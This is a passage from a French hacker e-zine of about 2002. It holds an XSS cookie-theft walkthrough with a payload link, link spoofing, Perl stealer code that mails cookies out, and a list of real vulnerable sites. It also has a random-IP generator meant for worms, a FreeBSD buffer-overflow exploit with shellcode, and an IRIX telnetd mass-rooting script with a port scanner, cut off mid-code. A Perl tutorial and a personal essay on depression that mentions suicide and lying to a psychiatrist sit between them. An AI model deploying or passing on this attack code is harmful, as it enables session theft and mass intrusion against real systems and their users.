%2Fsteal.cgi%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E&x=12&y=15">
I will stole your cookie when you will click here 
</a>
</body>
</html>

Comme  vous  pouvez peut-tre  le  remarquer, la  requte  prend le  cookie  de
l'utilisateur qui click sur le lien et l'envoie 
                                          http://mindflayrwebsite.com/steal.cgi

Pour rendre l'attaque  encore plus subtile  il est possible  de cacher la  vrai
destination du lien avec un simple code 
onMouseOver="window.status='http://www.legentilsitedeloncletom.com';return true"
onMouseOut="window.status='';return true">Visiter le gentil site de l'oncle Tom!
Il faut bien sr insrer ce code  la place du texte "I will stole your  cookie
when you will click here " du premier code. 

3- Quand l'utilisateur  click sur le  lien souhait visiter  le site de  ce cher
oncle   Tom,   le   cookie   est   envoy   sur   le   script   steal.cgi    de
mindflayrwebsite.com. 

4- Le script steal.cgi enregistre le cookie
Comme je suis trop  lche pour coder un  cookie stealer moi mme  j'ai emprunt
celui de David Endler de idefense (en fait c'est pas que je suis lche mais  je
manque de  temps crivant  mon article  a dernire  minute comme d'habitude) 
[ Note de Last : t pas si pire MindFlou, ya du monde qui on  crit leur article
aprs la dernire minute ;-) ]

------cookie stealer code-----
#!/usr/bin/perl
# steal.cgi by David Endler dendler@idefense.com
# Specific to your system
$mailprog = '/usr/sbin/sendmail';
# create a log file of cookies, we'll also email them too
open(COOKIES,">>stolen_cookie_file");
# what the victim sees, customize as needed
print "Content-type:text/html\n\n";
print <<EndOfHTML;
<html><head><title>Cookie Stealing</title></head>
<body>
Your Cookie has been stolen. Thank you.
</body></html>
EndOfHTML
# The QUERY_STRING environment variable should be filled with
# the cookie text after steal.cgi:
# http://www.attacker.com/steal.cgi?XXXXX
print COOKIES "$ENV{'QUERY_STRING'} from $ENV{`REMOTE_ADDR'}\n";

# now email the alert as well so we can start to hijack

open(MAIL,"|$mailprog -t");
print MAIL "To: attacker\@attacker.com\n";
print MAIL "From: cookie_steal\@attacker.com\n";
print MAIL "Subject: Stolen Cookie Submission\n\n";
print MAIL "-" x 75 . "\n\n";
print MAIL "$ENV{'QUERY_STRING'} from $ENV{`REMOTE_ADDR'}\n";
close (MAIL);

------end of code--------

5- Aller voir ses emails et rcuprer le cookie frachement vol!

xss vuln too: 
http://www.ulaval.ca/adul/rechercher.html
http://www.francite.com
http://www.normos.org/fr/textSearch.html
http://www.sierraflower.com/sff/search_fr.asp?NC=1&VarID=0&S_Param1=&L=2333318476235
http://www.emergis.com/fr/other/help/results.asp?Scope=all&q1=%3Cscript%3Ealert%28%27Mindkind+owned+your+ass%27%29%3B%3C%2Fscript%3E
http://www.montrealdvd.com/search.asp
http://search.canoe.ca/canoe/?lr=canoesearch&q=%3Cscript%3Ealert%28%27Mindkind+owned+your+ass%27%29%3B%3C%2Fscript%3E&ad=w5n2&client=netgraphe&ie=latin1&oe=latin1&output=xml_no_dtd&ip=205.237.234.78&userid=netgraphe&userip=205.237.234.78&start=0&num=20&adtest=off&x=12&y=7


Bon j'ai dcid d'aviser les  admins des problmes de cross-site  scripting sur
leur site question de voir leur raction.

Mon e-mail (envoy vers le 1 dcembre 2002)
----------
Bonjour, je vous cris pour vous  aviser d'un problme de scurit sur  (le nom
du  site)  (en  fait  l'engin  de  recherche).  Il  suffit  d'injecter  du code
javascript  dans  la  boite  de requte  pour  le  faire  excuter. (cross-site
scripting vulnerability)

<script>alert('Voila le probleme de scurit');</script>
par exemple...

Voici quelques liens pour vous aider a rgler le problme et sur cette sorte de
vulnrabilit :
http://www.cgisecurity.com/articles/xss-faq.shtml
http://www.cert.org/archive/pdf/cross_site_scripting.pdf
http://www.idefense.com/XSS.html
J'espre que ceci  pourra vous aider  et j'espre avoir  des nouvelles de  vous
trs bientt.

MindFlayR
mindflayr@mindkind.org
http://www.mindkind.org:8787/

Reponse (en date du 9 dcembre 2002)
-------

admin@toile.com
---------------
Patch: Non
Reponse: Non

adul@adul.ulaval.ca
-------------------
Patch: Non
Reponse: Non

commentaires@francite.com
-------------------------
Patch: Oui
Reponse: Non

info@normos.org
---------------
Patch: Non
Reponse:Non

solutions@emergis.com
---------------------
Patch: Non
Reponse: Non

info@montrealdvd.com
--------------------
Patch: Non
Reponse: Non
Note:  montrealdvd.com semble  utiliser  une  vieille version  de Snitz  Forums
2000. La vulnrabilit de l'engin de  recherche n'apparat pas nul part sur  le
web (aprs de courtes recherches) mais le problme semble rgl sur le site  de
Snitz (http://forum.snitz.com/).

Comme vous pouvez l'observer, seul francite a patch son engin de recherche  ce
qui semble dmontrer que tout le  monde se fout compltement de la  scurit au
qubec.

En guise de conclusion, j'espre que vous avez comprit maintenant la menace que
reprsente les failles XSS et que vous  avez une bonne ide de la faon  de les
exploiter (et donc de patcher vos codes pour viter cela). Je vous reviens dans
le prochain Mindkind avec quelques trucs croustillants.


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                mindflayr@mindkind.org                   /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'






        ____         ,-------------------------------------------------
       /    \        |
      |  _   |       | Mindkind's handy code #467
      | / \  |       | 
      ||   | |      /  Vous avez besoin de gnrer une liste d'IPs random
      (.) (.)|     /   pour X projet (worm, scanner, peu importe) et vous
      ||   | |    <__  tes trop lche pour le coder vous-mme ?
      ||   | | |     | Mindkind a une solution cheap et facile pour vous.
      ||   | | |     |
      |____/|| |     | /*
      |\___/ | |     | Random Ip Generator by [Funky] of mindkind.org
      ||   | | |     | inspired by an original code of ADM and an 
      ||   | | |     | idea of MindFlayR
      ||   | | |     | put 500 random ip (not always really used ip) in result.log
      ||     | |       in result.log
      | \___/  |       */
      |        |       #include <stdio.h> 
       \______/        #include <time.h>
		       #include <stdlib.h>

			int myrand(){
			   int j;
			   j=1+(int) (230.0*rand()/(RAND_MAX+1.0));
			   return(j);
			}

			void main(){
			   int i, a;
			   int FiLe = fopen("result.log", "wa");

			   for(a = 0; a < 500; a++){ /* you can change the number of generated ip here */
			      srand((time(NULL)*rand()));
			      for (i = 0; i < 3; i++)
			         fprintf(FiLe, "%i.",myrand());

			      fprintf(FiLe, "%i\n",myrand());
			   }
			}





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.12   Useless meeting                                \        \     !
     .             aka                                         \        \    .
     ;     This isn't que square root of 0                      \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

T'as quel age ?  Je lui est rpondu  18, mais que rflexion   faite, a n'avait
pas rellement d'importance. Il ma demand  pourquoi je lui est dit a,  je lui
est dis que mon corps va vieillir,  mme si je perds toute notion du temps.  Je
me  suis assis,   il tait    cot  de moi.  Pourquoi cette  personne  peut-il
m'aider  ?  C'est   sur, il  avait mit  tout ses  diplmes   reprsentant   ses
exploits  pseudo- intellectuels sur le mur,  mais  bon, j'aurais  srement   pu
faire pareil avec un peu de volont,  et  je  ne suis quand mme pas en  mesure
de m'aider  moi-mme.  J'avais   le got  d'une cigarette,  mais j'imaginais un
logo interdisant de  fumer  sur  le mur rouge fonc  de la pice; non,  il n'en
avait pas. Ce n'est qu'une fois allume qu'il ma demand de ne pas fumer, comme
s'il s'imaginait que j'allais  porter  une cigarette  qui n'est pas allumer sur
le  rebord de  mes lvre   pendant  10  minutes.  Je  n'ai pas  trop saisi  son
raisonnement, et je crois qu'il a pu le lire dans  mon regard, car il ma  tendu
un cendrier vide,  comme  si j'tais le  premier  a fumer en sa  compagnie.  Je
lui  est   demand  pourquoi   il  est  propritaire d'un  cendrier,  s'il  est
interdit de fumer. Il ma rpondu  que certain patient avaient un grand   besoin
de nicotine, et qu'il tait en mesure de faire  quelques  compromis.   J'aurais
eu le  got de  lui dire  que ce   n'tait  pas   mon  cas,  mais  s'il prfre
faire des  conclusions  rapides,   c'est  son   choix.  Tout  compte fait,   je
n'tais pas venu   ici pour parler  et penser aux  cigarettes, je me  suis donc
permit de lui demander de  commencer la rencontre.  Comme s'il  s'attendait que
je lui demande exactement  a, il s'est mit  a crire sur une  feuille blanche,
non-ligne. Il   srement crit mon  nom et mon  age,  les  2   seules  choses
qu'il savait sur moi,  l'instant prsent.  Mais il continuait d'crire, et  me
posant des questions, sans mme me regarder :  "tu  as fini l'cole ?"  Je  lui
expliqu  que  en  principe oui,   mais qu'en thorie, non. "pourquoi  ?" parce
que j'ai lch  avant d'avoir fini au complet mon secondaire, mais que  j'avais
ass de crdits pour graduer. Il n'a pas sembler satisfait de ma rponse.  S'il
l'aurait t,   il  ne   m'aurait  srement  pas demander  pourquoi j'ai  lch
avant le temps. a ma  un peu fch, et je  lui  est  dit  que  je  n'tais pas
venu ici pour parler  de   mon  cole,  mais  de  moi.  Il a lever la tte,  un
peu trop rapidement   mon got,  et m'a fait  remarquer qu'un humain  passe en
majorit une grande partie de sa vie  tudier, et que cela fait parti de  lui.
J'aurais bien aim le contredire, mais ce  qu'il disait n'tait pas  totalement
faux,  j'ai  donc  approuv,   pour  ensuite   lui    donner   un   regarde  de
quelqu'un qui semble  intresser  sa  prochaine question. Au  fait, je n'tais
pas intresser. Mais j'ai fini par me dire qu'il valait mieux le laisser  faire
sa   job, comme  a je  s'aurai sortie  d'ici assez  rapidement. Pendant  le  2
minutes qu'il prenait   crire ce  que je lui  avait dit,  je   prparais  les
rponses aux  questions potentielles  dans ma  tte. Mais  il tait loin d'tre
pathtique, ou conformiste dans ses  questions. a,  je  l'ai  remarqu     sa
2ieme question, lorsqu'il ma  demand   clairement  si  je s'avais que  j'tais
dprim. C'est  la   question  la  plus   stupide  que j'avais  jamais entendu,
mais  c'tais  une  des  celles  que  je n'avais pas eu la chance d'y  rpondre
intrieurement.   J'ai  tent de  lui  expliquer que  je  passais une   priode
sombre,  mais  qu'en normalit, je  n'tais  pas aussi bas. Ensuite on a  parl
de tout et de rien, il ma mme   demand se que je faisais de mes journes.  Je
lui est rpondu  que je lisais,  j'crivais, et  que   j'essayais de dormir  le
plus tard possible, que  rendu au  soir  s'il   faisait beau, j'allais au  Tim;
sinon, je m'enfermais dans  ma chambre.  Le facteur  a prendre en note  est  sa
raction  qu'il  a  eut quand  il  a  saisi que  je  n'avais   aucuns  rapports
sociaux.   Il  a   sembl surpris,   et a  ma surpris  moi aussi  de  le  voir
surpris.   Vers la  fin de  ma rencontre,    il   ma   firement  affirm   que
j'tais dprim. Il m'a ensuite  prescrit 4 anti-dpresseurs,  m'a  demand  de
faire un autre rendez-vous  dans 1 mois avec   la  secrtaire  en sortant,   et
ma   souhait   bonne  chance.   J'ai   eu envi   de  lui demander  si  j'tais
simplement venu ici pour un 30   minutes en sa compagnie, me faisant  poser des
questions  que  je  me   suis  dj poss moi-mme,  mais je me suis  tait,  et
j'ai quitt la pice, en le remerciant.

J'ai donc eu la rponse a ma question,  oui, je suis dprim. Et j'ai fini  par
me dire  que  la  dprime  est   l'tat  mme  de  la rencontre avec  l'ide du
non-tre. Depuis ce jour, je tente de  me dire que a va  passer,  que  se tuer
n'est pas la solution,  car il est toujours  trop tard,  et que  peu importe la
faon  dont je  vie, je  vais finir  au mme  endroit  que   le  dprim,   que
l'heureux. Aprs tout, tout  le  monde  le  sait   bien, la vie ne  vaut pas la
peine d'tre vcue.  Ma  conclusion se rapproche au malheur d'avoir d'avoir une
conscience, et de l,  on  ne  peut  pas rellement y changer quoi que ce soit.
Demain j'irai revoir le psy.  J'ai dj prpar  mes rponses, en prparant mon
subconscient  aux mensonges  qui pourraient  sortir de  ma bouche:  oui, a  va
mieux. Aprs tout, je ne l'aime pas, rien m'empche de  lui jouer un jeux,   et
tout compte faite, a l'avantage lui aussi; son estime personnelle  va  monter.
Oui, demain j'irai le  voir, il me reste   qu' esprer que  a  ne prendra pas
trop  longtemps,  de cette  faon,  je  pourrai revenir ici, dprimer en  paix,
et har ma  putain  de conscience.


                                                           c4ndu.
     


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                 c4ndu@mindkind.org                      /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'






   < Mindkind tales from IRC >
   < Directly from rebels division >

   [21:31] <LastCall_> la dailleurs jcontinue mon tuto
   [21:32] <nothing94> "comment hacker Pathfinder avec Perl et un signal laser" je suppose ?
   [21:33] <LastCall_> HAHAHAHAHA
   [21:34] <nothing94> jpensais pas ctait si drole que a

  < ----------------------- >




                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.13    la conqute du chameau; Part 3               \        \     !
     .             aka                                         \        \    .
     ;          J'aurais mieux aim camel dise pas              \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     


Les dernires parties de ce tutorial taient plutt fastoches, on a vu  comment
jouer avec les variables, et comment faire des expressions avec des oprateurs.
Il serait peut-tre temps  qu'on voie  des choses  pour enfin programmer! Voici
donc les structures de contrles et boucles.


L'art de faire 72000 affaires avec if

Bon c'est une  blague, il n'y  a pas vraiment  72000 affaires   faire avec if,
mais par  contre Perl  offre l'inverse  du if,  le moyen  d'inverser if  et une
manire bizarre de dire else if. Voici donc de quoi tout a a l'air :
if ($CONDITION) { affaires(); }
Dans le cas la les { } sont OBLIGATOIRE. Que vous faite a sur une ligne ou
if ($CONDITION) {
	affaires();
}
de  mme, vous  avez   mettre les  {} tout  le temps.  Si vous  vous  demander
pourquoi, ou  bien comment  se dbarrasser  de a,  c'est que  le if agit d'une
manire peu commune :
affaires() if ($CONDITION);
Cette  ligne est  totalement valide.  videmment on  excute affaires()  si la
condition est vrai... Admettons que  vous voulez faire le contraire  de if(si),
disons un if(!$CONDITION), et bien vous pouvez utiliser unless(sauf si) :
unless ($CONDITION) {
	affaires();
}
Le else existe, et le else if  est nomm bizarrement elsif. Il est   noter que
unless n'a pas de "elsunless". Voici un exemple clair :
if ($CONDITION) {
	affaires();
} elsif ($CONDITION2) {
	affaires2();
} else {
	affaires3();
}
Finalement, l'oprateur conditionnel "? :" (comme en C) existe aussi en Perl :
$CONDITION ? affaires() : affaireselse();


Boucles Boucles Boucles Boucles Boucles

Loops en anglais (moins laid que boucles j'avoue).
On retrouve en Perl les loops que nous sommes habitus de voir :
while($COND) { affaires(); }
until($COND) { affaires(); }
for(my $i = 0; $i <=10; $i++) { affaires(); }
Cependant on retrouve aussi des affaires sotriques tel que le "continue" :
while($COND) { affaires(); } continue { print "hop! "; }
 chaque itration du while le bloque aprs continue sera excut, un peu  dans
le genre du $i++ dans le for. Aussi, il y a des "shortcuts" qu'on peut prendre.
Admettons qu'on veut  passer  la  prochaine itration de  la boucle sans  tout
excuter dans les affaires(), et bien on met un next; qui s'occupera de quitter
le code en cours et d'aller  la suite de la boucle. Il existe aussi last;  qui
permet de quitter  la boucle. Et  comme si c'tait  pas ass, il  y a redo; qui
refait le block d'affaires  excuter. Palpitant.
En  plus de  ces boucles,  on retrouve  le fameux  foreach. foreach  permet de
parcourir une liste et d'excut le bloc  chaque item de la liste :
foreach $jour (@semaine) { print $jour; }
va imprimer chaque jour dans semaine(exemple poche j'avoue). Pour rajouter plus
de libert dans  votre vie de  programmeur, foreach est  pareil que for  (huh),
c'est  dire que  si vous crivez for  $jour (@semaine) et bien  a va marcher.
Personnellement je prfre crire foreach car a se "lit mieux". N'oublier  pas
que le @semaine est trait en valeur de liste, donc on peut utiliser  n'importe
quel fonction  qui retourne  une liste  (comme keys  pour savoir  les clef d'un
hash, de cette manire  : keys %monhash) ou  bien encore crire directement  la
liste nous mme :
foreach $machin ("pwet", "meuh", "ayoye")
a va marcher. on peut aussi mettre 1..10 pour compter de 1  10..
De plus, si vous mettez pas $machin, a va marcher pareil! Respectivement,
"pwet", "meuh" et "ayoye" vont se retrouver dans $_. Humm bizare ce $_...


Les variables bizares

Perl contient une  panoplie de variables  dites "bizares" ou  "spciales". Elle
sont spciales car elles contiennent toute sorte d'affaire magiquement affect.
Par exemple le $_ contient la "chose" en cours :
foreach (1,2,3) { print $_; }
Va imprimer les 1 2 3 vu que le $machin devant la liste a t ommit.
On peut aussi faire:
foreach (1,2,3) { print; }
car print  imprime $_  lorsqu'on lui  passe aucun  argument ;-)  $_ ne sert pas
juste pour  foreach, il  sert aussi  au pattern  matching, et  lorsqu'on lit un
fichier. Il est aussi appel $ARG lorsque l'ont met "use English;" au dbut  de
notre script. D'ailleurs  pour chaque variable  spciale, il existe  sa version
anglaise, qui est bien  sr plus longue   crire, mais plus facile   retenir.
Bien qu'il existe plusieurs variables  spciales, je me sers presque  seulement
de ceux-ci, les autres tant trop prcis ou trop compliquer  retenir :
$!
  Contient la dernire erreur
     open FICHIER, "fichier" or die "ne peut ouvrir fichier : $!";
@ARGV
  liste qui contient les arguments passs au script par la command line
%ENV
  hash qui contient l'environnement Unix 
     exemple : $ENV{PATH}
$]
  contient la version courante de Perl
     $PERL_VERSION avec use English;
$0
  contient le nom du fichier du script Perl en cours
$^O
  contient le nom du OS pour lequel le binary de Perl a t compil
@_
  liste qui contient les paramtres d'une sub..
  
(remarquer encore ici le lien logique entre mon dernier mot de cette section et
la prochaine section, hehe)


Les sous-routines (sub)

Un jour va arriver que vos scripts Perl vont commencer  tre un peu plus  gros
que 2  lignes. Cette  journe la  vous allez  srement aussi  commencer   vous
servir des subs :
sub zouit { affaires(); }
Cette ligne dclare la sub zouit  qui va excuter les affaires(). Pour  une sub
avec des paramtres, on la call de la manire suivante :
zouit $param1, $param2;
Dans la dclaration de la sub, il n'y a aucune spcification de paramtres.  La
raison est que chaque paramtre est empil dans la pile nomme @_, on y  accde
donc de la manire suivante:
sub zouit {
	my $bah = shift @_;
	my $beh = shift @_;
}
On peut  aussi omettre  le @_  et juste  crire shift,  qui va  le shifter  par
dfaut. Si on est sr qu'on va toujours avoir 2 paramtres, on peut aussi faire
sub zouit {
	my ($bah, $beh) = @_;
}
Rappel : Les parenthses dans ce cas-ci  serve  donner un contexte de liste  
$bah et $beh dans le  but de lui associer une  autre liste (le array @_);  Pour
retourner de la sub, on utilise return; (ouf compliqu a la). Aussi noter  que
dans @_ on mets n'importe quel  variable qu'on veut, autant des hash,  d'autres
listes, des rfrences.


Jouer aux blocs lgos c'est funne


Depuis tantt qu'on voit des  {} partout. Ordinairement en programmation  on ne
se pose pas trop de questions, a fait parti de la syntaxe de chaque statement.
Par contre en Perl un {} est appel un bloc et peut tre utilis seul.
{
	affaires();
}
Bon ok peu pratique, mais on peut faire comme avec les boucles, mettre un  next
dedans et a va sortir du block.. (mme chose avec last, pis on peut mme faire
un redo. heh)
{
	next if ($COND);
	affaires();
}
Disons que c'est une faon bizarre de faire un if..


Les bons vieux GOTOs

Depuis tantt que je parle de boucles, de next, de last et etc.. Les plus futs
d'entre-vous on srement aperu un genre de  goto dans a. Et bien oui, Perl  a
des GOTOs. On peut mme le faire nous autre mme. Mettons que j'ai un while, et
bien  je peux  mettre devant  un label  pour spcifier  le nom  du while..  pas
pratique quand il y a juste un while, mais trs quand ta 2 boucles imbriques :
MEUH: for (1..2) {
	for (1..5) {
		print $_;
		next MEUH if ($_ == 2);
	}
}
Plutt useless, mais a dmontre bien comment s'en servir. Faites attention ici
de ne pas mettre "gogo" lui mme  la place de next, bien que a fasse la  mme
chose, le next termine la 2ime boucle  for, alors que le goto garde tout   la
mme place (ce qui  rsulte en une boucle  infinie). On peut donc  utiliser les
gotos comme on veut, mais il faut faire attention.. Je pourrais crire :
goto MEUH;
ici et a va retourner  ma boucle de tantt.. comme dans le bon vieux temps de
la programmation en BASIC, heh.


Conclusion

Et voil, maintenant avec l'accumulation  de mes autres articles,  vous  pouvez
coder des scripts qui ont de l'allure et  comprendre ceux qui sont  dj crit.
Les  prochains articles  s'annoncent plus  pratiques que  thoriques, car  cot
thorie de base j'ai dj fait le tour pas mal, c'est juste que Perl est  conu
 99% de  "tip & tricks",  donc il risque  un jour que  d'avoir des articles de
"tips" et de "tricks".. d'ici l, on  va avoir  pass par les modules les  plus
populaires en Perl, et la  programmation oriente objet en Perl.  (a parais-tu
je me suis fait un plan pour les futurs articles? haha!)

Dans la prochaine partie de ce  tutorial nous allons  voir le pattern  matching
en Perl  et comment utiliser des modules. Si vous avez des questions  n'hsitez
pas  me  les poser, si pertinentes, elles seront rpondues et inclues dans les
futurs articles.

                                                                    - LastCall_



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                lastcall@mindkind.org                    /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




------------------------------- 8< cut here 8< -------------------------------


#!/usr/bin/perl
#
# Fbsd RayControl exploit, dosen't give root since it's not seuid.
#
###########################################################
my $shout = "MindKind";
my $coder = "FunkY"; 
###########################################################

my $execv = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" .
            "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" .
            "\xb0\x3b\x50\xcd\x80";

my $ret   = "\x90\xf8\xbf\xbf";
my $nop   = "\x90";
my $head  = 36;
my $body  = 100;
my $buf;
                              
#                   .:[Building buffer]:.
 
 $buf .= "A"x$head;
 $buf .= $ret;
 $buf .= $nop x($body-length($execv));
 $buf .= $execv;

#                 .:[Exploitation Starts]:. 
 
 system("/usr/sbin/raycontrol", "-i" , "$buf");

------------------------------- 8< cut here 8< -------------------------------




                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.14 Mass telned against irix                         \        \     !
     .             aka                                         \        \    .
     ;       T'en veux-tu du code en vla!                       \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
            
            
                                      
# wassup MinDkinD 
# j'aimerais vous prsenter un petit projet que j'ai faite
# parce qu en ralit *JMEMMERDE* , en tk tout dans le
# but de vous faire part de la vulnrabilit des systmes IRIX
# vis versa le deamon telnetd , Hey , oui ! encore un massrooter
# dsol je manque d'imagination anyways , vla l'code :

-------------- [ mass-irix.sh ] ------------------------------

#!bin/sh

author () {

echo " ################## "
echo " # -=[mindkind]=- # "
echo " #  koded by vaL  # "
echo " ################## "
echo " #  mass telnetd  # "
echo " #  against irix  # "
echo " ################## " 

         } 
author
sleep 3
main () {  echo " perfect , which subnet u wanna target ex : 134.25 "
           read subnet
           echo " -> n0ted. of course we attacking port[23] "
           port="23"
           echo " holdon buddy ,loading scan properties   "
           echo " ***Launching scan against $subnet $port "
           nohup ./pscan $subnet $port &
        }
sleep 3
main
echo " -> perfect scan is running "
sub () { tail -f ips.log | while read VICTIM
         do
           echo " *** verifiing $1 *** "
           ./irixscan $1 
         done
 
       }
echo " ***Launching attack*** in 5 sec  "
sleep 5
sub
exit 0
-------------------------------------------------------------------------------------

# lame bin/sh skript0r to run tha massrooter

-------------- [ pscan.c ] -----------------------------------------------------------
/*
** pscan.c - Originally by Volatile
** modified by _dave
** and finally re-written by vaL0r
** -=[ mindkind team ]=-
*/

#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h>

#define MAX_SOCKETS 1000
#define TIMEOUT 2

#define S_NONE       0
#define S_CONNECTING 1

struct conn_t {
    int s;
    char status;
    time_t a;
    struct sockaddr_in addr;
};
struct conn_t connlist[MAX_SOCKETS];

void init_sockets(void);
void check_sockets(void);
void fatal(char *);

FILE *outfd;
int tot = 0;

int main(int argc, char *argv[])
{
    int done = 0, i, cip = 1, bb = 0, ret, k, ns, x;
    time_t scantime;
    char ip[20], outfile[128], last[256];

    if (argc < 3)
    {
        printf("Usage: %s <b-block> <port> [c-block]\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    memset(&outfile, 0, sizeof(outfile));
    if (argc == 3)
        snprintf(outfile, sizeof(outfile) - 1, "ips.log", argv[1], argv[2]);
    else if (argc >= 4)
    {
        snprintf(outfile, sizeof(outfile) - 1, "ips.log", argv[1], argv[3], argv[2]);
        bb = atoi(argv[3]);
        if ((bb < 0) || (bb > 255))
            fatal("Invalid b-range.\n");
    }

    if (!(outfd = fopen(outfile, "a")))
    {
        perror(outfile);
        exit(EXIT_FAILURE);
    }
    printf("[ sockets -> %d ] [ timeout -> %ds ][ output -> %s ]\n"
           "Currently scanning: ", MAX_SOCKETS, TIMEOUT, outfile, argv[1]);
    fflush(stdout);

    memset(&last, 0, sizeof(last));
    init_sockets();
    scantime = time(0);

    while(!done)
    {
        for (i = 0; i < MAX_SOCKETS; i++)
        {
            if (cip == 255)
            {           
                if ((bb == 255) || (argc >= 4))
                {
                    ns = 0;
                    for (k = 0; k < MAX_SOCKETS; k++)
                    {
                        if (connlist[k].status > S_NONE)
                        {
                            ns++;
                            break;
                        }
                    }

                    if (ns == 0)
                        done = 1;

                     break;
                }
                else
                {
                    cip = 0;
                    bb++;
                    for (x = 0; x < strlen(last); x++)
                        putchar('\b');
                    memset(&last, 0, sizeof(last));
                    snprintf(last, sizeof(last) - 1, "%s.%d.* (total: %d) (%.1f%% done)",
                        argv[1], bb, tot, (bb / 255.0) * 100);
                    printf("%s", last);
                    fflush(stdout);
                }
            }

            if (connlist[i].status == S_NONE)
            {
                connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
                if (connlist[i].s == -1)
                    printf("Unable to allocate socket.\n");
                else
                {
                    ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
                    if (ret == -1)
                    {
                        printf("Unable to set O_NONBLOCK\n");
                        close(connlist[i].s);
                    }
                    else
                    {
                        memset(&ip, 0, 20);
                        sprintf(ip, "%s.%d.%d", argv[1], bb, cip);
                        connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
                        if (connlist[i].addr.sin_addr.s_addr == -1)
                            fatal("Invalid IP.");
                        connlist[i].addr.sin_family = AF_INET;
                        connlist[i].addr.sin_port = htons(atoi(argv[2]));
                        connlist[i].a = time(0);
                        connlist[i].status = S_CONNECTING;
                        cip++;
                    }
                }
            }
        }
        check_sockets();
    }

    printf("\nPscan completed in %u seconds. (found %d ips)\n", (time(0) - scantime), tot);
    fclose(outfd);
    exit(EXIT_SUCCESS);
}

void init_sockets(void)
{
    int i;

    for (i = 0; i < MAX_SOCKETS; i++)
    {
        connlist[i].status = S_NONE;
        memset((struct sockaddr_in *)&connlist[i].addr, 0, sizeof(struct sockaddr_in));
    }
    return;
}

void check_sockets(void)
{
    int i, ret;

    for (i = 0; i < MAX_SOCKETS; i++)
    {
        if ((connlist[i].a < (time(0) - TIMEOUT)) && (connlist[i].status == S_CONNECTING))
        {
            close(connlist[i].s);
            connlist[i].status = S_NONE;
        }
        else if (connlist[i].status == S_CONNECTING)
        {
            ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr,
                sizeof(struct sockaddr_in));
            if (ret == -1)
            {
                if (errno == EISCONN)
                {
                    tot++;
                    fprintf(outfd, "%s\n",
                        (char *)inet_ntoa(connlist[i].addr.sin_addr));
                    close(connlist[i].s);
                    connlist[i].status = S_NONE;
                }

                if ((errno != EALREADY) && (errno != EINPROGRESS))
                {
                    close(connlist[i].s);
                    connlist[i].status = S_NONE;
                }
            }
            else
            {
                tot++;
                fprintf(outfd, "%s\n",
                    (char *)inet_ntoa(connlist[i].addr.sin_addr));
                close(connlist[i].s);
                connlist[i].status = S_NONE;
            }
        }
    }
}

void fatal(char *err)
{
    int i;
    printf("Error: %s\n", err);
    for (i = 0; i < MAX_SOCKETS; i++)
        if (connlist[i].status >= S_CONNECTING)
            close(connlist[i].s);
    fclose(outfd);
    exit(EXIT_FAILURE);
}
----------------------------------------------------------------------------------------

#main scanning routine who output data to >>  ips.log

-------------- [ irixscan.c ] ----------------------------------------------------------
/* 
   irixscan.c by vaL0r for Team MindKinD Research

   booya , here is my new telnetd scanner and stupid utilities to
   grab and exploit irix telnetd exploitable hosts.

   use with pscan for better result
  
   compile : gcc -o irixscan irixscan.c
   syntax : ./pscan $subnet 23 ; tail -f ips.log | while read subnet ; do ; ./irix-scan $subnet

   enough talking , enjoy the violence errrr i mean the silence
 */

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

int main(int argc, char *argv[])
{

  struct sockaddr_in sin;
  int sock, len;
  u_char buf[4000];
